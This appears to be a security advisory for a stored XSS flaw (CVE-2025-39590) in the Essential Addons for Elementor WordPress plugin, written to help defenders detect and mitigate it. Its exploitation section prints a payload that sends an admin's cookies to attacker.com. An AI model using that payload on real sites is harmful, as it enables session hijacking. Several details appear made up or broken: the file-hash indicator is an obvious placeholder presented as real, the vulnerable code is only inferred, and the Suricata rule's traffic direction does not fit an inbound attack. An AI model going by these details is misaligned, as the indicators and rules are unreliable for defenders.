CVE-2025-39590

Executive Summary

CVE-2025-39590 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Essential Addons for Elementor by WPDeveloper. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim administrator or editor views the compromised content, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 6.1.9. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a popular add-on for the Elementor page builder, used by over a million sites. The supply chain risk is elevated because:

• The plugin is automatically updated on many sites, but the vulnerable version (6.1.9) may remain if auto-updates are disabled.
• No official patch has been released, leaving sites exposed until a fix is deployed.
• Attackers can target the plugin’s user base through automated scanning for vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Admin/Editor views the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the widespread use of the plugin and the potential for stored XSS to lead to full site compromise elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input within the Essential Addons for Elementor plugin. Specifically, the plugin fails to sanitize or escape output when rendering certain dynamic elements (e.g., post grids, data tables, or testimonial sliders) that accept user-generated content. An attacker with contributor-level access can inject malicious JavaScript into a field (e.g., a testimonial author name or a custom CSS class). When the page is rendered and viewed by a higher-privileged user (editor or admin), the script executes in their browser context.

Root Cause: The plugin uses echo or the_content filters without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() on data that originates from user input.

Attack Flow:

1. Attacker logs in as a contributor.
2. Creates or edits a post/page using Elementor with Essential Addons.
3. Inserts a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field (e.g., a testimonial author name).
4. Publishes or saves the post as a draft.
5. Admin/editor views the post, triggering the script execution.
6. Script steals cookies, exfiltrates data, or performs actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from the plugin’s source (version 6.1.9). The fix would involve proper output escaping.

Vulnerable Code (PHP):

// In a template file or widget render method
echo '<div class="eael-testimonial-author">' . $author_name . '</div>';

Patched Code (Expected Fix):

echo '<div class="eael-testimonial-author">' . esc_html( $author_name ) . '</div>';

The patched version would use esc_html() or wp_kses_post() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Essential Addons for Elementor <= 6.1.9.
• Contributor-level account.

Steps:

1. Log in as a contributor.
2. Create a new post using Elementor.
3. Add an Essential Addons widget (e.g., Testimonial).
4. In the author name field, inject the payload:

   <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

5. Save and publish the post.
6. Wait for an admin to view the post, or send them a direct link.

Expected Result: The admin’s session cookie is sent to the attacker’s server.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing <script> tags in custom fields or widget data.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
• Enable WordPress’s built-in DISALLOW_UNFILTERED_HTML constant for lower-privileged users.

Hardening:

• Restrict contributor roles from using Elementor or Essential Addons widgets.
• Apply a virtual patch via WAF rules (e.g., block requests containing <script in widget parameters).
• Disable the plugin until an official patch is released.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • essential-addons-for-elementor-lite.6.1.9.zip: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Suspicious POST requests to wp-admin/admin-ajax.php with XSS payloads.
• Log Entries:
  • WordPress debug log entries showing unescaped output in Essential Addons widgets.
  • Web server access logs with %3Cscript%3E in URI parameters.

Detection Engineering

YARA Rule

rule CVE_2025_39590_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Essential Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39590"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "essential-addons-for-elementor-lite"
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-39590 Stored XSS in Essential Addons for Elementor
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via Essential Addons for Elementor plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
            - '/wp-json/'
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in post content by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39590 Stored XSS Payload in Essential Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Essential Addons for Elementor plugin until an official patch is released.
2. Workaround: Restrict contributor roles from using Elementor or Essential Addons widgets via user role editor plugins.
3. Virtual Patching: Deploy WAF rules to block XSS payloads in POST requests to admin-ajax.php and REST API endpoints.
4. Monitoring: Enable WordPress debug logging and monitor for unescaped output in plugin templates.
5. Update: Apply the official patch as soon as it becomes available from WPDeveloper.

Valters IT
Securing Digital Ecosystems